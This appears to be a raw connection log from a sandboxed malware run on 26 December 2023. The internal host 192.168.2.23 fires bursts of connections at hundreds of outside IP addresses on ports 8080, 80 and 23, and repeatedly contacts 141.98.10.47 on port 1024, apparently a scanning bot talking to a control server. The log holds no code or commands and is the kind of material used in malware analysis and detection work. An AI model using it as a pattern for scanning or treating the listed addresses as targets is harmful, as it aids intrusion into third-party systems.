Dec 26, 2023 21:22:44.120259047 CET	45469	8080	192.168.2.23	85.139.140.120
Dec 26, 2023 21:22:44.120259047 CET	45469	8080	192.168.2.23	62.131.200.250
Dec 26, 2023 21:22:44.120270967 CET	45469	8080	192.168.2.23	31.44.164.230
Dec 26, 2023 21:22:44.120280027 CET	45469	8080	192.168.2.23	95.172.157.250
Dec 26, 2023 21:22:44.120286942 CET	45469	8080	192.168.2.23	62.128.224.240
Dec 26, 2023 21:22:44.120286942 CET	45469	8080	192.168.2.23	62.164.38.122
Dec 26, 2023 21:22:44.120287895 CET	45469	8080	192.168.2.23	95.173.218.15
Dec 26, 2023 21:22:44.120305061 CET	45469	8080	192.168.2.23	95.216.157.165
Dec 26, 2023 21:22:44.120321989 CET	45469	8080	192.168.2.23	95.123.86.183
Dec 26, 2023 21:22:44.120322943 CET	45469	8080	192.168.2.23	85.53.186.51
Dec 26, 2023 21:22:44.120335102 CET	45469	8080	192.168.2.23	31.17.28.52
Dec 26, 2023 21:22:44.120347977 CET	45469	8080	192.168.2.23	94.56.33.170
Dec 26, 2023 21:22:44.120348930 CET	45469	8080	192.168.2.23	85.131.99.248
Dec 26, 2023 21:22:44.120358944 CET	45469	8080	192.168.2.23	62.214.209.248
Dec 26, 2023 21:22:44.120371103 CET	45469	8080	192.168.2.23	94.65.152.102
Dec 26, 2023 21:22:44.120376110 CET	45469	8080	192.168.2.23	94.156.243.134
Dec 26, 2023 21:22:44.120385885 CET	45469	8080	192.168.2.23	62.244.119.105
Dec 26, 2023 21:22:44.120398045 CET	45469	8080	192.168.2.23	95.236.204.58
Dec 26, 2023 21:22:44.120398045 CET	45469	8080	192.168.2.23	95.236.56.23
Dec 26, 2023 21:22:44.120408058 CET	45469	8080	192.168.2.23	94.178.97.112
Dec 26, 2023 21:22:44.120419979 CET	45469	8080	192.168.2.23	94.121.140.39
Dec 26, 2023 21:22:44.120440006 CET	45469	8080	192.168.2.23	94.23.140.235
Dec 26, 2023 21:22:44.120440006 CET	45469	8080	192.168.2.23	31.90.221.53
Dec 26, 2023 21:22:44.120445967 CET	45469	8080	192.168.2.23	31.12.216.83
Dec 26, 2023 21:22:44.120451927 CET	45469	8080	192.168.2.23	31.75.12.94
Dec 26, 2023 21:22:44.120474100 CET	45469	8080	192.168.2.23	85.140.152.62
Dec 26, 2023 21:22:44.120476007 CET	45469	8080	192.168.2.23	31.160.111.40
Dec 26, 2023 21:22:44.120484114 CET	45469	8080	192.168.2.23	85.60.25.42
Dec 26, 2023 21:22:44.120484114 CET	45469	8080	192.168.2.23	95.216.182.221
Dec 26, 2023 21:22:44.120488882 CET	45469	8080	192.168.2.23	94.147.41.30
Dec 26, 2023 21:22:44.120497942 CET	45469	8080	192.168.2.23	85.5.165.143
Dec 26, 2023 21:22:44.120515108 CET	45469	8080	192.168.2.23	31.198.30.177
Dec 26, 2023 21:22:44.120520115 CET	45469	8080	192.168.2.23	95.108.36.34
Dec 26, 2023 21:22:44.120520115 CET	45469	8080	192.168.2.23	62.155.139.28
Dec 26, 2023 21:22:44.120528936 CET	45469	8080	192.168.2.23	94.212.104.186
Dec 26, 2023 21:22:44.120548010 CET	45469	8080	192.168.2.23	94.197.184.217
Dec 26, 2023 21:22:44.120548010 CET	45469	8080	192.168.2.23	62.29.45.249
Dec 26, 2023 21:22:44.120568037 CET	45469	8080	192.168.2.23	85.113.125.54
Dec 26, 2023 21:22:44.120585918 CET	45469	8080	192.168.2.23	95.6.246.119
Dec 26, 2023 21:22:44.120598078 CET	45469	8080	192.168.2.23	31.188.91.63
Dec 26, 2023 21:22:44.120600939 CET	45469	8080	192.168.2.23	94.67.30.23
Dec 26, 2023 21:22:44.120610952 CET	45469	8080	192.168.2.23	95.214.46.157
Dec 26, 2023 21:22:44.120618105 CET	45469	8080	192.168.2.23	62.209.48.151
Dec 26, 2023 21:22:44.120628119 CET	45469	8080	192.168.2.23	85.229.61.136
Dec 26, 2023 21:22:44.120630026 CET	45469	8080	192.168.2.23	94.95.242.110
Dec 26, 2023 21:22:44.120651960 CET	45469	8080	192.168.2.23	94.186.0.27
Dec 26, 2023 21:22:44.120651960 CET	45469	8080	192.168.2.23	95.99.251.10
Dec 26, 2023 21:22:44.120656967 CET	45469	8080	192.168.2.23	31.212.162.166
Dec 26, 2023 21:22:44.120676041 CET	45469	8080	192.168.2.23	62.167.220.209
Dec 26, 2023 21:22:44.120692968 CET	45469	8080	192.168.2.23	85.117.248.189
Dec 26, 2023 21:22:44.120695114 CET	45469	8080	192.168.2.23	95.169.46.251
Dec 26, 2023 21:22:44.120706081 CET	45469	8080	192.168.2.23	95.202.164.104
Dec 26, 2023 21:22:44.120712996 CET	45469	8080	192.168.2.23	62.218.171.122
Dec 26, 2023 21:22:44.120717049 CET	45469	8080	192.168.2.23	31.203.6.207
Dec 26, 2023 21:22:44.120731115 CET	45469	8080	192.168.2.23	95.174.19.96
Dec 26, 2023 21:22:44.120737076 CET	45469	8080	192.168.2.23	94.78.253.191
Dec 26, 2023 21:22:44.120740891 CET	45469	8080	192.168.2.23	62.73.25.130
Dec 26, 2023 21:22:44.120752096 CET	45469	8080	192.168.2.23	85.71.96.180
Dec 26, 2023 21:22:44.120768070 CET	45469	8080	192.168.2.23	95.1.166.6
Dec 26, 2023 21:22:44.120771885 CET	45469	8080	192.168.2.23	62.246.87.27
Dec 26, 2023 21:22:44.120775938 CET	45469	8080	192.168.2.23	62.161.66.174
Dec 26, 2023 21:22:44.120779037 CET	45469	8080	192.168.2.23	85.151.61.97
Dec 26, 2023 21:22:44.120794058 CET	45469	8080	192.168.2.23	95.152.246.128
Dec 26, 2023 21:22:44.120794058 CET	45469	8080	192.168.2.23	94.95.67.53
Dec 26, 2023 21:22:44.120803118 CET	45469	8080	192.168.2.23	94.58.224.23
Dec 26, 2023 21:22:44.120809078 CET	45469	8080	192.168.2.23	62.231.9.202
Dec 26, 2023 21:22:44.120819092 CET	45469	8080	192.168.2.23	94.50.253.231
Dec 26, 2023 21:22:44.120829105 CET	45469	8080	192.168.2.23	85.137.4.42
Dec 26, 2023 21:22:44.120841980 CET	45469	8080	192.168.2.23	31.147.120.9
Dec 26, 2023 21:22:44.120856047 CET	45469	8080	192.168.2.23	94.144.245.103
Dec 26, 2023 21:22:44.120860100 CET	45469	8080	192.168.2.23	62.52.175.224
Dec 26, 2023 21:22:44.120874882 CET	45469	8080	192.168.2.23	31.9.223.239
Dec 26, 2023 21:22:44.120881081 CET	45469	8080	192.168.2.23	95.74.62.46
Dec 26, 2023 21:22:44.120888948 CET	45469	8080	192.168.2.23	85.217.98.117
Dec 26, 2023 21:22:44.120908976 CET	45469	8080	192.168.2.23	94.27.158.137
Dec 26, 2023 21:22:44.120915890 CET	45469	8080	192.168.2.23	94.61.31.154
Dec 26, 2023 21:22:44.120928049 CET	45469	8080	192.168.2.23	31.156.215.227
Dec 26, 2023 21:22:44.120934963 CET	45469	8080	192.168.2.23	31.139.113.6
Dec 26, 2023 21:22:44.120949030 CET	45469	8080	192.168.2.23	31.215.217.240
Dec 26, 2023 21:22:44.120949984 CET	45469	8080	192.168.2.23	95.158.160.10
Dec 26, 2023 21:22:44.120954990 CET	45469	8080	192.168.2.23	62.35.244.150
Dec 26, 2023 21:22:44.120964050 CET	45469	8080	192.168.2.23	31.202.148.38
Dec 26, 2023 21:22:44.120965958 CET	45469	8080	192.168.2.23	31.5.214.198
Dec 26, 2023 21:22:44.120966911 CET	45469	8080	192.168.2.23	85.246.172.51
Dec 26, 2023 21:22:44.120986938 CET	45469	8080	192.168.2.23	31.68.150.233
Dec 26, 2023 21:22:44.120991945 CET	45469	8080	192.168.2.23	85.73.119.123
Dec 26, 2023 21:22:44.121000051 CET	45469	8080	192.168.2.23	95.77.9.84
Dec 26, 2023 21:22:44.121031046 CET	45469	8080	192.168.2.23	85.186.52.114
Dec 26, 2023 21:22:44.121035099 CET	45469	8080	192.168.2.23	95.137.49.156
Dec 26, 2023 21:22:44.121048927 CET	45469	8080	192.168.2.23	94.107.198.234
Dec 26, 2023 21:22:44.121056080 CET	45469	8080	192.168.2.23	94.122.56.19
Dec 26, 2023 21:22:44.121057987 CET	45469	8080	192.168.2.23	95.241.87.118
Dec 26, 2023 21:22:44.121058941 CET	45469	8080	192.168.2.23	31.99.69.155
Dec 26, 2023 21:22:44.121062040 CET	45469	8080	192.168.2.23	94.80.52.224
Dec 26, 2023 21:22:44.121071100 CET	45469	8080	192.168.2.23	31.28.196.69
Dec 26, 2023 21:22:44.121081114 CET	45469	8080	192.168.2.23	85.53.65.254
Dec 26, 2023 21:22:44.121094942 CET	45469	8080	192.168.2.23	95.14.101.0
Dec 26, 2023 21:22:44.121094942 CET	45469	8080	192.168.2.23	31.60.251.128
Dec 26, 2023 21:22:44.121108055 CET	45469	8080	192.168.2.23	94.237.55.152
Dec 26, 2023 21:22:44.121110916 CET	45469	8080	192.168.2.23	95.122.12.30
Dec 26, 2023 21:22:44.121114969 CET	45469	8080	192.168.2.23	94.132.12.128
Dec 26, 2023 21:22:44.121119022 CET	45469	8080	192.168.2.23	62.87.176.186
Dec 26, 2023 21:22:44.121138096 CET	45469	8080	192.168.2.23	94.205.187.13
Dec 26, 2023 21:22:44.121138096 CET	45469	8080	192.168.2.23	95.189.171.247
Dec 26, 2023 21:22:44.121160984 CET	45469	8080	192.168.2.23	94.49.59.90
Dec 26, 2023 21:22:44.121160984 CET	45469	8080	192.168.2.23	94.115.197.254
Dec 26, 2023 21:22:44.121165037 CET	45469	8080	192.168.2.23	94.39.86.51
Dec 26, 2023 21:22:44.121176958 CET	45469	8080	192.168.2.23	85.173.223.233
Dec 26, 2023 21:22:44.121189117 CET	45469	8080	192.168.2.23	31.10.122.18
Dec 26, 2023 21:22:44.121191978 CET	45469	8080	192.168.2.23	94.43.156.43
Dec 26, 2023 21:22:44.121206045 CET	45469	8080	192.168.2.23	95.110.150.3
Dec 26, 2023 21:22:44.121210098 CET	45469	8080	192.168.2.23	62.137.154.24
Dec 26, 2023 21:22:44.121216059 CET	45469	8080	192.168.2.23	85.133.38.19
Dec 26, 2023 21:22:44.121229887 CET	45469	8080	192.168.2.23	31.146.162.53
Dec 26, 2023 21:22:44.121233940 CET	45469	8080	192.168.2.23	94.247.39.69
Dec 26, 2023 21:22:44.121236086 CET	45469	8080	192.168.2.23	62.119.204.246
Dec 26, 2023 21:22:44.121253014 CET	45469	8080	192.168.2.23	95.31.84.104
Dec 26, 2023 21:22:44.121256113 CET	45469	8080	192.168.2.23	94.173.186.44
Dec 26, 2023 21:22:44.121258020 CET	45469	8080	192.168.2.23	94.124.155.109
Dec 26, 2023 21:22:44.121264935 CET	45469	8080	192.168.2.23	85.191.189.128
Dec 26, 2023 21:22:44.121280909 CET	45469	8080	192.168.2.23	95.146.56.133
Dec 26, 2023 21:22:44.121289015 CET	45469	8080	192.168.2.23	31.170.16.86
Dec 26, 2023 21:22:44.121298075 CET	45469	8080	192.168.2.23	31.0.229.57
Dec 26, 2023 21:22:44.121310949 CET	45469	8080	192.168.2.23	31.111.132.182
Dec 26, 2023 21:22:44.121310949 CET	45469	8080	192.168.2.23	94.144.73.170
Dec 26, 2023 21:22:44.121329069 CET	45469	8080	192.168.2.23	85.157.119.207
Dec 26, 2023 21:22:44.121334076 CET	45469	8080	192.168.2.23	94.126.58.100
Dec 26, 2023 21:22:44.121335983 CET	45469	8080	192.168.2.23	95.8.236.221
Dec 26, 2023 21:22:44.121336937 CET	45469	8080	192.168.2.23	85.176.246.23
Dec 26, 2023 21:22:44.121354103 CET	45469	8080	192.168.2.23	94.2.51.10
Dec 26, 2023 21:22:44.121366024 CET	45469	8080	192.168.2.23	95.142.23.101
Dec 26, 2023 21:22:44.121377945 CET	45469	8080	192.168.2.23	85.70.125.166
Dec 26, 2023 21:22:44.121390104 CET	45469	8080	192.168.2.23	31.105.179.37
Dec 26, 2023 21:22:44.121400118 CET	45469	8080	192.168.2.23	94.96.166.49
Dec 26, 2023 21:22:44.121417046 CET	45469	8080	192.168.2.23	85.0.91.234
Dec 26, 2023 21:22:44.121426105 CET	45469	8080	192.168.2.23	31.10.197.20
Dec 26, 2023 21:22:44.121431112 CET	45469	8080	192.168.2.23	31.248.2.87
Dec 26, 2023 21:22:44.121442080 CET	45469	8080	192.168.2.23	94.35.60.118
Dec 26, 2023 21:22:44.121458054 CET	45469	8080	192.168.2.23	31.17.180.28
Dec 26, 2023 21:22:44.121467113 CET	45469	8080	192.168.2.23	94.97.136.195
Dec 26, 2023 21:22:44.121479988 CET	45469	8080	192.168.2.23	31.199.78.149
Dec 26, 2023 21:22:44.121481895 CET	45469	8080	192.168.2.23	31.50.159.141
Dec 26, 2023 21:22:44.121481895 CET	45469	8080	192.168.2.23	95.189.99.29
Dec 26, 2023 21:22:44.121504068 CET	45469	8080	192.168.2.23	62.240.162.191
Dec 26, 2023 21:22:44.121509075 CET	45469	8080	192.168.2.23	62.122.73.241
Dec 26, 2023 21:22:44.121512890 CET	45469	8080	192.168.2.23	94.68.189.87
Dec 26, 2023 21:22:44.121520996 CET	45469	8080	192.168.2.23	94.183.171.46
Dec 26, 2023 21:22:44.121530056 CET	45469	8080	192.168.2.23	85.3.55.243
Dec 26, 2023 21:22:44.121534109 CET	45469	8080	192.168.2.23	62.1.62.75
Dec 26, 2023 21:22:44.121547937 CET	45469	8080	192.168.2.23	31.111.225.196
Dec 26, 2023 21:22:44.121556997 CET	45469	8080	192.168.2.23	62.65.106.187
Dec 26, 2023 21:22:44.121566057 CET	45469	8080	192.168.2.23	85.115.139.217
Dec 26, 2023 21:22:44.121582031 CET	45469	8080	192.168.2.23	85.40.114.238
Dec 26, 2023 21:22:44.121582031 CET	45469	8080	192.168.2.23	95.163.18.207
Dec 26, 2023 21:22:44.121593952 CET	45469	8080	192.168.2.23	31.98.39.229
Dec 26, 2023 21:22:44.121596098 CET	45469	8080	192.168.2.23	95.57.29.38
Dec 26, 2023 21:22:44.121602058 CET	45469	8080	192.168.2.23	31.230.99.156
Dec 26, 2023 21:22:44.121603012 CET	45469	8080	192.168.2.23	31.88.221.104
Dec 26, 2023 21:22:44.121603966 CET	45469	8080	192.168.2.23	95.172.73.207
Dec 26, 2023 21:22:44.121606112 CET	45469	8080	192.168.2.23	62.145.141.213
Dec 26, 2023 21:22:44.121623039 CET	45469	8080	192.168.2.23	31.138.248.255
Dec 26, 2023 21:22:44.121632099 CET	45469	8080	192.168.2.23	31.219.98.179
Dec 26, 2023 21:22:44.121639013 CET	45469	8080	192.168.2.23	94.135.71.108
Dec 26, 2023 21:22:44.121651888 CET	45469	8080	192.168.2.23	85.82.136.44
Dec 26, 2023 21:22:44.121661901 CET	45469	8080	192.168.2.23	85.40.250.146
Dec 26, 2023 21:22:44.121676922 CET	45469	8080	192.168.2.23	94.234.70.163
Dec 26, 2023 21:22:44.121685028 CET	45469	8080	192.168.2.23	85.198.77.42
Dec 26, 2023 21:22:44.121696949 CET	45469	8080	192.168.2.23	31.229.15.190
Dec 26, 2023 21:22:44.121706963 CET	45469	8080	192.168.2.23	31.222.93.175
Dec 26, 2023 21:22:44.121716022 CET	45469	8080	192.168.2.23	95.77.116.140
Dec 26, 2023 21:22:44.121720076 CET	45469	8080	192.168.2.23	85.89.246.183
Dec 26, 2023 21:22:44.121722937 CET	45469	8080	192.168.2.23	62.38.68.32
Dec 26, 2023 21:22:44.121738911 CET	45469	8080	192.168.2.23	94.2.88.146
Dec 26, 2023 21:22:44.121751070 CET	45469	8080	192.168.2.23	31.127.55.95
Dec 26, 2023 21:22:44.121757984 CET	45469	8080	192.168.2.23	85.204.2.50
Dec 26, 2023 21:22:44.121757984 CET	45469	8080	192.168.2.23	95.150.5.138
Dec 26, 2023 21:22:44.121774912 CET	45469	8080	192.168.2.23	85.100.182.22
Dec 26, 2023 21:22:44.121786118 CET	45469	8080	192.168.2.23	85.3.93.19
Dec 26, 2023 21:22:44.121789932 CET	45469	8080	192.168.2.23	85.168.21.4
Dec 26, 2023 21:22:44.121803999 CET	45469	8080	192.168.2.23	94.73.59.203
Dec 26, 2023 21:22:44.121812105 CET	45469	8080	192.168.2.23	62.110.133.195
Dec 26, 2023 21:22:44.121820927 CET	45469	8080	192.168.2.23	94.133.202.116
Dec 26, 2023 21:22:44.121825933 CET	45469	8080	192.168.2.23	31.70.38.211
Dec 26, 2023 21:22:44.121841908 CET	45469	8080	192.168.2.23	31.125.60.15
Dec 26, 2023 21:22:44.121844053 CET	45469	8080	192.168.2.23	95.79.27.211
Dec 26, 2023 21:22:44.121859074 CET	45469	8080	192.168.2.23	95.69.3.254
Dec 26, 2023 21:22:44.121864080 CET	45469	8080	192.168.2.23	85.123.58.131
Dec 26, 2023 21:22:44.121874094 CET	45469	8080	192.168.2.23	62.78.15.13
Dec 26, 2023 21:22:44.121875048 CET	45469	8080	192.168.2.23	62.155.186.25
Dec 26, 2023 21:22:44.121881008 CET	45469	8080	192.168.2.23	62.96.213.254
Dec 26, 2023 21:22:44.121898890 CET	45469	8080	192.168.2.23	85.50.204.215
Dec 26, 2023 21:22:44.121900082 CET	45469	8080	192.168.2.23	94.37.238.97
Dec 26, 2023 21:22:44.121908903 CET	45469	8080	192.168.2.23	94.168.58.125
Dec 26, 2023 21:22:44.121917963 CET	45469	8080	192.168.2.23	94.214.214.80
Dec 26, 2023 21:22:44.121917963 CET	45469	8080	192.168.2.23	31.93.134.204
Dec 26, 2023 21:22:44.121936083 CET	45469	8080	192.168.2.23	94.68.206.180
Dec 26, 2023 21:22:44.121938944 CET	45469	8080	192.168.2.23	31.42.134.76
Dec 26, 2023 21:22:44.121956110 CET	45469	8080	192.168.2.23	62.127.254.27
Dec 26, 2023 21:22:44.121956110 CET	45469	8080	192.168.2.23	85.157.143.244
Dec 26, 2023 21:22:44.121969938 CET	45469	8080	192.168.2.23	62.162.142.192
Dec 26, 2023 21:22:44.121984959 CET	45469	8080	192.168.2.23	85.74.236.106
Dec 26, 2023 21:22:44.121997118 CET	45469	8080	192.168.2.23	95.200.12.17
Dec 26, 2023 21:22:44.121999025 CET	45469	8080	192.168.2.23	31.22.201.174
Dec 26, 2023 21:22:44.122014046 CET	45469	8080	192.168.2.23	62.182.36.68
Dec 26, 2023 21:22:44.122019053 CET	45469	8080	192.168.2.23	94.36.237.0
Dec 26, 2023 21:22:44.122028112 CET	45469	8080	192.168.2.23	62.77.196.242
Dec 26, 2023 21:22:44.122037888 CET	45469	8080	192.168.2.23	62.240.108.21
Dec 26, 2023 21:22:44.122045994 CET	45469	8080	192.168.2.23	85.246.52.96
Dec 26, 2023 21:22:44.122057915 CET	45469	8080	192.168.2.23	94.90.247.143
Dec 26, 2023 21:22:44.122059107 CET	45469	8080	192.168.2.23	95.120.134.149
Dec 26, 2023 21:22:44.122067928 CET	45469	8080	192.168.2.23	31.126.235.43
Dec 26, 2023 21:22:44.122087955 CET	45469	8080	192.168.2.23	62.149.43.230
Dec 26, 2023 21:22:44.122088909 CET	45469	8080	192.168.2.23	85.130.109.56
Dec 26, 2023 21:22:44.122090101 CET	45469	8080	192.168.2.23	62.237.18.90
Dec 26, 2023 21:22:44.122102976 CET	45469	8080	192.168.2.23	62.154.145.142
Dec 26, 2023 21:22:44.122111082 CET	45469	8080	192.168.2.23	85.19.208.216
Dec 26, 2023 21:22:44.122124910 CET	45469	8080	192.168.2.23	95.100.255.164
Dec 26, 2023 21:22:44.122136116 CET	45469	8080	192.168.2.23	62.149.40.206
Dec 26, 2023 21:22:44.122148037 CET	45469	8080	192.168.2.23	31.44.13.253
Dec 26, 2023 21:22:44.122150898 CET	45469	8080	192.168.2.23	62.223.150.196
Dec 26, 2023 21:22:44.122154951 CET	45469	8080	192.168.2.23	85.159.246.202
Dec 26, 2023 21:22:44.122160912 CET	45469	8080	192.168.2.23	62.92.110.163
Dec 26, 2023 21:22:44.122176886 CET	45469	8080	192.168.2.23	31.187.169.223
Dec 26, 2023 21:22:44.122176886 CET	45469	8080	192.168.2.23	94.159.6.36
Dec 26, 2023 21:22:44.122179985 CET	45469	8080	192.168.2.23	85.202.157.197
Dec 26, 2023 21:22:44.122183084 CET	45469	8080	192.168.2.23	94.45.209.89
Dec 26, 2023 21:22:44.122200012 CET	45469	8080	192.168.2.23	31.42.167.88
Dec 26, 2023 21:22:44.122208118 CET	45469	8080	192.168.2.23	62.58.175.62
Dec 26, 2023 21:22:44.122221947 CET	45469	8080	192.168.2.23	62.128.223.34
Dec 26, 2023 21:22:44.122227907 CET	45469	8080	192.168.2.23	95.95.203.149
Dec 26, 2023 21:22:44.122246981 CET	45469	8080	192.168.2.23	62.158.43.212
Dec 26, 2023 21:22:44.122246981 CET	45469	8080	192.168.2.23	31.184.18.83
Dec 26, 2023 21:22:44.122247934 CET	45469	8080	192.168.2.23	31.149.190.43
Dec 26, 2023 21:22:44.122262955 CET	45469	8080	192.168.2.23	62.28.189.214
Dec 26, 2023 21:22:44.122262955 CET	45469	8080	192.168.2.23	94.226.75.147
Dec 26, 2023 21:22:44.122262955 CET	45469	8080	192.168.2.23	95.64.196.49
Dec 26, 2023 21:22:44.122283936 CET	45469	8080	192.168.2.23	31.129.114.51
Dec 26, 2023 21:22:44.122287035 CET	45469	8080	192.168.2.23	62.247.114.3
Dec 26, 2023 21:22:44.122301102 CET	45469	8080	192.168.2.23	85.41.228.71
Dec 26, 2023 21:22:44.122309923 CET	45469	8080	192.168.2.23	31.201.174.204
Dec 26, 2023 21:22:44.122309923 CET	45469	8080	192.168.2.23	31.221.135.163
Dec 26, 2023 21:22:44.122314930 CET	45469	8080	192.168.2.23	62.116.203.227
Dec 26, 2023 21:22:44.122323990 CET	45469	8080	192.168.2.23	85.249.159.242
Dec 26, 2023 21:22:44.122335911 CET	45469	8080	192.168.2.23	94.96.255.171
Dec 26, 2023 21:22:44.122339964 CET	45469	8080	192.168.2.23	31.58.205.220
Dec 26, 2023 21:22:44.122348070 CET	45469	8080	192.168.2.23	94.188.184.17
Dec 26, 2023 21:22:44.122358084 CET	45469	8080	192.168.2.23	85.149.182.199
Dec 26, 2023 21:22:44.122359037 CET	45469	8080	192.168.2.23	94.255.50.160
Dec 26, 2023 21:22:44.122374058 CET	45469	8080	192.168.2.23	62.225.37.88
Dec 26, 2023 21:22:44.122375965 CET	45469	8080	192.168.2.23	31.176.203.197
Dec 26, 2023 21:22:44.122392893 CET	45469	8080	192.168.2.23	95.200.142.219
Dec 26, 2023 21:22:44.122396946 CET	45469	8080	192.168.2.23	94.155.240.29
Dec 26, 2023 21:22:44.122399092 CET	45469	8080	192.168.2.23	62.3.64.181
Dec 26, 2023 21:22:44.122411966 CET	45469	8080	192.168.2.23	94.207.52.48
Dec 26, 2023 21:22:44.122426987 CET	45469	8080	192.168.2.23	31.75.162.44
Dec 26, 2023 21:22:44.122431993 CET	45469	8080	192.168.2.23	94.100.141.238
Dec 26, 2023 21:22:44.122447968 CET	45469	8080	192.168.2.23	62.68.132.165
Dec 26, 2023 21:22:44.122451067 CET	45469	8080	192.168.2.23	31.99.122.192
Dec 26, 2023 21:22:44.122456074 CET	45469	8080	192.168.2.23	62.254.192.35
Dec 26, 2023 21:22:44.122472048 CET	45469	8080	192.168.2.23	85.174.18.126
Dec 26, 2023 21:22:44.122487068 CET	45469	8080	192.168.2.23	85.233.121.45
Dec 26, 2023 21:22:44.122490883 CET	45469	8080	192.168.2.23	94.36.77.71
Dec 26, 2023 21:22:44.122493982 CET	45469	8080	192.168.2.23	95.206.183.190
Dec 26, 2023 21:22:44.122509003 CET	45469	8080	192.168.2.23	94.231.70.202
Dec 26, 2023 21:22:44.122518063 CET	45469	8080	192.168.2.23	62.123.50.150
Dec 26, 2023 21:22:44.341233015 CET	80	45725	88.214.51.118	192.168.2.23
Dec 26, 2023 21:22:44.347726107 CET	80	45725	88.85.89.10	192.168.2.23
Dec 26, 2023 21:22:44.347814083 CET	45725	80	192.168.2.23	88.85.89.10
Dec 26, 2023 21:22:44.352972984 CET	80	45725	88.218.184.29	192.168.2.23
Dec 26, 2023 21:22:44.355319977 CET	8080	45469	94.237.55.152	192.168.2.23
Dec 26, 2023 21:22:44.355367899 CET	45469	8080	192.168.2.23	94.237.55.152
Dec 26, 2023 21:22:44.367522955 CET	1024	56028	141.98.10.47	192.168.2.23
Dec 26, 2023 21:22:44.367588043 CET	56028	1024	192.168.2.23	141.98.10.47
Dec 26, 2023 21:22:44.367621899 CET	56028	1024	192.168.2.23	141.98.10.47
Dec 26, 2023 21:22:44.381869078 CET	80	45725	88.201.185.105	192.168.2.23
Dec 26, 2023 21:22:44.382494926 CET	8080	45469	94.152.169.79	192.168.2.23
Dec 26, 2023 21:22:44.385966063 CET	8080	45469	95.170.228.127	192.168.2.23
Dec 26, 2023 21:22:44.402045012 CET	8080	45469	95.86.29.94	192.168.2.23
Dec 26, 2023 21:22:44.405101061 CET	8080	45469	94.122.56.19	192.168.2.23
Dec 26, 2023 21:22:44.405150890 CET	45469	8080	192.168.2.23	94.122.56.19
Dec 26, 2023 21:22:44.407257080 CET	8080	45469	85.250.213.177	192.168.2.23
Dec 26, 2023 21:22:44.413196087 CET	8080	45469	31.42.167.88	192.168.2.23
Dec 26, 2023 21:22:44.420747995 CET	8080	45469	95.14.101.0	192.168.2.23
Dec 26, 2023 21:22:44.424299955 CET	23	36253	60.122.6.30	192.168.2.23
Dec 26, 2023 21:22:44.455385923 CET	8080	45469	95.47.124.35	192.168.2.23
Dec 26, 2023 21:22:44.627837896 CET	1024	56028	141.98.10.47	192.168.2.23
Dec 26, 2023 21:22:44.627919912 CET	56028	1024	192.168.2.23	141.98.10.47
Dec 26, 2023 21:22:44.886523008 CET	1024	56028	141.98.10.47	192.168.2.23
Dec 26, 2023 21:22:45.100573063 CET	45725	80	192.168.2.23	95.162.15.175
Dec 26, 2023 21:22:45.100573063 CET	45725	80	192.168.2.23	95.44.248.234
Dec 26, 2023 21:22:45.100579977 CET	45725	80	192.168.2.23	95.216.16.242
Dec 26, 2023 21:22:45.100575924 CET	45725	80	192.168.2.23	95.252.205.126
Dec 26, 2023 21:22:45.100579977 CET	45725	80	192.168.2.23	95.183.71.142
Dec 26, 2023 21:22:45.100577116 CET	45725	80	192.168.2.23	95.91.137.147
Dec 26, 2023 21:22:45.100574970 CET	45725	80	192.168.2.23	95.180.109.86
Dec 26, 2023 21:22:45.100575924 CET	45725	80	192.168.2.23	95.77.39.218
Dec 26, 2023 21:22:45.100574970 CET	45725	80	192.168.2.23	95.97.218.148
Dec 26, 2023 21:22:45.100575924 CET	45725	80	192.168.2.23	95.48.45.186
Dec 26, 2023 21:22:45.100575924 CET	45725	80	192.168.2.23	95.161.19.105
Dec 26, 2023 21:22:45.100575924 CET	45725	80	192.168.2.23	95.223.133.109
Dec 26, 2023 21:22:45.100577116 CET	45725	80	192.168.2.23	95.117.29.148
Dec 26, 2023 21:22:45.100589037 CET	45725	80	192.168.2.23	95.86.195.2
Dec 26, 2023 21:22:45.100589037 CET	45725	80	192.168.2.23	95.31.111.247
Dec 26, 2023 21:22:45.100589037 CET	45725	80	192.168.2.23	95.208.15.26
Dec 26, 2023 21:22:45.100589037 CET	45725	80	192.168.2.23	95.183.114.177
Dec 26, 2023 21:22:45.100613117 CET	45725	80	192.168.2.23	95.247.137.67
Dec 26, 2023 21:22:45.100613117 CET	45725	80	192.168.2.23	95.193.38.253
Dec 26, 2023 21:22:45.100613117 CET	45725	80	192.168.2.23	95.95.127.221
Dec 26, 2023 21:22:45.100620985 CET	45725	80	192.168.2.23	95.124.152.73
Dec 26, 2023 21:22:45.100620031 CET	45725	80	192.168.2.23	95.142.222.84
Dec 26, 2023 21:22:45.100620031 CET	45725	80	192.168.2.23	95.92.252.232
Dec 26, 2023 21:22:45.100620031 CET	45725	80	192.168.2.23	95.125.194.56
Dec 26, 2023 21:22:45.100620031 CET	45725	80	192.168.2.23	95.199.171.215
Dec 26, 2023 21:22:45.100629091 CET	45725	80	192.168.2.23	95.77.177.133
Dec 26, 2023 21:22:45.100629091 CET	45725	80	192.168.2.23	95.218.36.103
Dec 26, 2023 21:22:45.100629091 CET	45725	80	192.168.2.23	95.121.196.27
Dec 26, 2023 21:22:45.100630045 CET	45725	80	192.168.2.23	95.105.27.215
Dec 26, 2023 21:22:45.100629091 CET	45725	80	192.168.2.23	95.51.233.251
Dec 26, 2023 21:22:45.100630045 CET	45725	80	192.168.2.23	95.163.205.223
Dec 26, 2023 21:22:45.100629091 CET	45725	80	192.168.2.23	95.127.107.170
Dec 26, 2023 21:22:45.100630045 CET	45725	80	192.168.2.23	95.180.229.22
Dec 26, 2023 21:22:45.100630045 CET	45725	80	192.168.2.23	95.102.166.139
Dec 26, 2023 21:22:45.100636959 CET	45725	80	192.168.2.23	95.203.11.210
Dec 26, 2023 21:22:45.100636959 CET	45725	80	192.168.2.23	95.185.76.26
Dec 26, 2023 21:22:45.100636959 CET	45725	80	192.168.2.23	95.173.184.218
Dec 26, 2023 21:22:45.100636959 CET	45725	80	192.168.2.23	95.95.74.216
Dec 26, 2023 21:22:45.100636959 CET	45725	80	192.168.2.23	95.16.20.238
Dec 26, 2023 21:22:45.100637913 CET	45725	80	192.168.2.23	95.13.116.193
Dec 26, 2023 21:22:45.100637913 CET	45725	80	192.168.2.23	95.5.223.166
Dec 26, 2023 21:22:45.100637913 CET	45725	80	192.168.2.23	95.248.187.144
Dec 26, 2023 21:22:45.100641012 CET	45725	80	192.168.2.23	95.158.162.223
Dec 26, 2023 21:22:45.100641012 CET	45725	80	192.168.2.23	95.75.153.228
Dec 26, 2023 21:22:45.100641012 CET	45725	80	192.168.2.23	95.132.85.123
Dec 26, 2023 21:22:45.100641012 CET	45725	80	192.168.2.23	95.34.109.163
